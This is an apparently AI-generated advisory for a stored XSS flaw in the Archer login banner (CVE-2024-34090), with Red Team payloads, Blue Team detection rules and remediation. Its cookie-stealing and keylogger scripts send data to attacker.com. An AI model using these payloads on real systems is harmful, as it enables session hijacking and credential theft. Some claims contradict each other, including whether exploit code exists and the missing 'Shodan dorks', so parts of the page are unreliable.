CVE-2024-34090
Executive Summary
CVE-2024-34090 is a stored cross-site scripting (XSS) vulnerability in the Archer Platform, specifically within the Archer Control Panel (ACP) login banner functionality. An authenticated attacker with sufficient privileges can inject malicious scripts into the login banner, which will be executed in the browsers of other users who view the login page. This can lead to session hijacking, credential theft, or further compromise of the Archer environment. The vulnerability affects versions 6.x prior to the 2024.04 release and 6.14 prior to P3 (6.14.0.3). The CVSS score is 7.3 (High), and while no public exploit code is available, the risk is significant due to the potential for lateral movement within an organization's GRC (Governance, Risk, and Compliance) platform.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.3 (High)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs a low-privileged account to modify the login banner.
- User Interaction (UI): Required (R) – A victim must view the login page.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: High. While the CVSS score is 7.3, the potential for an attacker to pivot from a low-privileged account to compromise higher-privileged users makes this a critical concern for organizations using Archer for sensitive GRC workflows.
Deep Dive & Mechanics
The vulnerability resides in the Archer Control Panel (ACP) login banner configuration. The ACP allows administrators to set a custom login banner message. The application fails to properly sanitize or escape user-supplied input when rendering this banner. An attacker with the ability to modify the login banner (typically a low-privileged administrator or a user with specific ACP permissions) can inject arbitrary HTML and JavaScript.
When any user (including higher-privileged administrators) navigates to the Archer login page, the malicious script executes in their browser context. This is a classic stored XSS (CWE-79) attack.
Attack Flow:
- Attacker gains low-privileged access to the Archer Platform (e.g., via phishing, credential stuffing, or another vulnerability).
- Attacker navigates to the ACP and modifies the login banner to include a malicious payload, such as:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - A legitimate administrator or user visits the Archer login page.
- The malicious script executes, sending the victim's session cookie to the attacker's server.
- The attacker uses the stolen cookie to hijack the victim's session, gaining elevated privileges.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The login banner is rendered without proper escaping. For example, in a JSP or ASPX page:
<div class="login-banner">
<%= request.getParameter("bannerText") %>
</div>
Patched Code (Conceptual): The patched version properly escapes HTML entities before rendering:
<div class="login-banner">
<%= Encode.forHtml(request.getParameter("bannerText")) %>
</div>
The fix ensures that any HTML tags or JavaScript in the banner text are displayed as plain text, not executed.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a low-privileged Archer account with permission to modify the ACP login banner.
- A publicly accessible server to receive exfiltrated data (e.g., a simple HTTP server or a service like webhook.site).
Exploitation Steps:
- Log in to the Archer Platform with the low-privileged account.
- Navigate to the Archer Control Panel (ACP) and locate the login banner configuration.
- Inject the following payload into the banner field:
<script> var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); </script> - Save the banner.
- Wait for a higher-privileged user to visit the login page.
- Monitor your server for incoming requests containing the stolen cookie.
- Use the stolen cookie to impersonate the victim.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key=' + e.key);
});
</script>
Blue Team
Detection Steps:
- Monitor ACP audit logs for changes to the login banner configuration. Look for unusual or suspicious content.
- Review web server logs for requests to the login page that contain unusual parameters or referrer headers.
- Use a web application firewall (WAF) to block common XSS payloads in the login banner field.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hunting Queries:
- Search for recent modifications to the login banner in Archer's audit trail.
- Look for outbound connections from the Archer server to unknown external IPs on port 80/443.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP/HTTPS requests from the Archer server to unknown external domains (e.g.,
attacker.com). - Unusual
Refererheaders in web logs pointing to the Archer login page.
- Outbound HTTP/HTTPS requests from the Archer server to unknown external domains (e.g.,
- File IOCs:
- Modified configuration files related to the login banner (e.g.,
banner.configor database entries).
- Modified configuration files related to the login banner (e.g.,
- Behavioral IOCs:
- Multiple failed login attempts followed by a successful login from an unusual IP.
- Session tokens being used from different IP addresses simultaneously.
Detection Engineering
YARA Rule
rule CVE_2024_34090_Archer_XSS {
meta:
description = "Detects potential XSS payloads in Archer login banner configuration"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-34090"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Archer Login Banner XSS Modification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects modifications to the Archer login banner that may indicate XSS exploitation
author: Valters IT
date: 2024-10-27
logsource:
product: archer
service: audit
detection:
selection:
EventID: "ACP_BANNER_UPDATE"
NewValue|contains:
- "<script"
- "onload="
- "javascript:"
condition: selection
falsepositives:
- Legitimate banner updates with benign HTML (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-34090 - Archer Login Banner XSS Exfiltration";
flow:to_server,established;
content:"/steal?cookie="; http_uri;
classtype:attempted-user;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade to Archer Platform 6.14 P3 (6.14.0.3) or the 2024.04 release.
- Workaround: If patching is not immediately possible, restrict access to the ACP to only trusted administrators. Implement strict input validation on the login banner field using a WAF.
- Audit: Review ACP audit logs for any unauthorized changes to the login banner.
Long-Term Mitigations:
- Implement a Content Security Policy (CSP) that restricts script execution to trusted sources.
- Enforce the principle of least privilege for ACP access.
- Regularly scan for XSS vulnerabilities using dynamic application security testing (DAST) tools.
- Educate administrators about the risks of storing unsanitized HTML in configuration fields.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact your Valters IT representative.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.